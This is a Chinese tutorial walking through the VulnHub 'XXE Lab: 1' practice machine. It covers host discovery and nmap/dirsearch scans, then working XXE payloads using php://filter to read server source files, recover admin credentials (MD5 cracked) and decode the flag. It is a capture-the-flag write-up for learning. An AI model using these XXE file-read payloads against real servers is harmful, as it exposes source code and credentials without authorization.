本文主要是介绍vulnhub靶场-xxe打靶教程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
靶机导入
信息收集
发现IP
端口扫描
目录扫描
漏洞利用
靶机下载地址:XXE Lab: 1 ~ VulnHub
靶机导入
导入虚拟机
开启虚拟机
信息收集
发现IP
arp-scan -l
发现靶机IP是192.168.202.150
端口扫描
使用nmap进行扫描
nmap -sS -A 192.168.202.150
只开放了80端口
访问浏览器
发现是默认apache2页面,进行目录扫描
目录扫描
使用dirsearch工具扫描目录
dirsearch -u http://192.168.202.150/ -x 403
发现robots.txt
漏洞利用
访问robots.txt
发现网址后台,再访问:
因为是xxe靶场,于是猜测登录是用xml数据传输,使用burp抓取登录包内容
发现是xml格式,于是构造poc
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
访问本地xxe.php的源码,用base64格式输出,解码得
并无发现,同样的方法查看admin.php
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
base64解码得(部分有用信息):
得到登录密码,因为是在admin.php的源码里于是访问admin.php网址
username:administhebest
password:e6e061838856bf47e1de730719fb2609
password用md5解密得:admin@123
访问后台
点击flag发现404错误,但是有新的文件名
再依靠上面的xxe漏洞查看flagmeout.php的源码
base64解密得
全是大写字母和数字,猜测是base32加密,再解密
把base32解密后的结果再base64解密得到一个路径
再次依靠上面的xxe漏洞读取源代码
base64解密得到
看不懂,应该是flag.php里的内容,猜测是php代码,于是放入在线的php环境或者自己的 网站查看
注意!php解析器版本是php5才能正常解析出flag,版本过高都会显示不出flag
把它放进记事本改为php文件,放在小蓝皮根目录访问,得到了flag
这篇关于vulnhub靶场-xxe打靶教程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!